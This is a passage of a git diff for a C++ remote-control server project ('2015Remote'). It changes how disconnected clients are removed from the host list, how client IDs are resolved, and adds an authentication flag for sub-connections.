活动窗口缓存被清空。 bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx) { if (!ctx) return false; uint64_t clientID = ctx->GetClientID(); - // 通知 Web 服务(批量通知,由定时器触发) - if (WebService().IsRunning()) { - WebService().MarkDeviceOffline(clientID); - } - // 清理"活动窗口"列的宽字符旁路表 - m_ActiveWndW.erase(clientID); + bool removed = false; // 方案1:通过索引快速查找(如果索引有效且匹配) auto indexIt = m_ClientIndex.find(clientID); @@ -5721,29 +5768,40 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx) m_ClientIndex[c->GetClientID()] = i; } } - return true; + removed = true; } } // 方案2:索引不存在或不匹配,遍历查找(处理重复 ID 的情况) - for (size_t i = 0; i < m_HostList.size(); ++i) { - if (m_HostList[i] == ctx) { - m_HostList.erase(m_HostList.begin() + i); - // 如果索引指向的是被删除的元素,也删除索引 - if (indexIt != m_ClientIndex.end() && indexIt->second == i) { - m_ClientIndex.erase(indexIt); - } - // 更新后续元素的索引 - for (size_t j = i; j < m_HostList.size(); ++j) { - context* c = m_HostList[j]; - if (c) { - m_ClientIndex[c->GetClientID()] = j; + if (!removed) { + for (size_t i = 0; i < m_HostList.size(); ++i) { + if (m_HostList[i] == ctx) { + m_HostList.erase(m_HostList.begin() + i); + // 如果索引指向的是被删除的元素,也删除索引 + if (indexIt != m_ClientIndex.end() && indexIt->second == i) { + m_ClientIndex.erase(indexIt); } + // 更新后续元素的索引 + for (size_t j = i; j < m_HostList.size(); ++j) { + context* c = m_HostList[j]; + if (c) { + m_ClientIndex[c->GetClientID()] = j; + } + } + removed = true; + break; } - return true; } } - return false; + + // 副作用:仅在主连接真的从列表中移除时才触发,避免子连接断开误伤主连接的状态。 + if (removed) { + if (WebService().IsRunning()) { + WebService().MarkDeviceOffline(clientID); + } + m_ActiveWndW.erase(clientID); + } + return removed; } LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 5a60fb3..e7e14bc 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -30,17 +30,15 @@ CString CFileManagerDlg::s_strLocalHistoryPath; std::map CFileManagerDlg::s_mapRemoteHistoryPath; CLock CFileManagerDlg::s_lockHistory; -// 获取有效的客户端ID:优先用 m_ClientID,否则通过 IP 找主连接 +// 获取有效的客户端ID:基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值), +// 这里仅在它们都拿不到时(老客户端没走 auth)通过 IP 反查主连接做兜底。 uint64_t CFileManagerDlg::GetClientID() const { - // 优先使用已设置的 m_ClientID(未来 TOKEN_CLIENTID 会设置这个) - if (m_ClientID != 0) { - return m_ClientID; - } - // 回退:通过 IP 找主连接获取 ClientID(线程安全) + uint64_t id = CDialogBase::GetClientID(); + if (id != 0) return id; + // 老客户端兜底:通过 IP 找主连接获取 ClientID(线程安全) if (g_2015RemoteDlg && m_ContextObject) { - std::string peerIP = m_ContextObject->GetPeerName(); - return g_2015RemoteDlg->FindClientIDByIP(peerIP); + return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName()); } return 0; } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index c340a68..9b13f0d 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -229,7 +229,11 @@ public: return m_bIsClosed; } virtual uint64_t GetClientID() const { - return m_ClientID; + // 优先用 UpdateContext 设过的 m_ClientID(重连场景),否则取子连接 ctx 自身的 ID。 + // 子连接通过 TOKEN_CONN_AUTH 通过校验后,ctx->GetClientID() 已被钉成主连接的 clientID, + // 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底(NAT/127.0.0.1 场景靠谱)。 + if (m_ClientID != 0) return m_ClientID; + return m_ContextObject ? m_ContextObject->GetClientID() : 0; } BOOL SayByeBye() { diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 1cf5c33..d1930eb 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -378,6 +378,11 @@ public: std::atomic IoRefCount{0}; // I/O 处理引用计数 std::atomic IsRemoved{false}; // 标记是否已被标记为移除 + // 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。 + // 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受), + // 仅作为标记供后续命令处理 / 未来收紧策略使用。 + std::atomic m_bAuthenticated{false}; + // 预分配的解压缩缓冲区,避免频繁内存分配 PBYTE DecompressBuffer = nullptr; ULONG DecompressBufferSize = 0; @@ -510,7 +515,11 @@ public: // 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0 IsRemoved.store(false, std::memory_order_release); IoRefCount.store(0, std::memory_order_release); + // 复用对象池时清空校验状态 + m_bAuthenticated.store(false, std::memory_order_release); } + void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); } + bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); } uint64_t GetAliveTime()const { return time(0) - OnlineTime;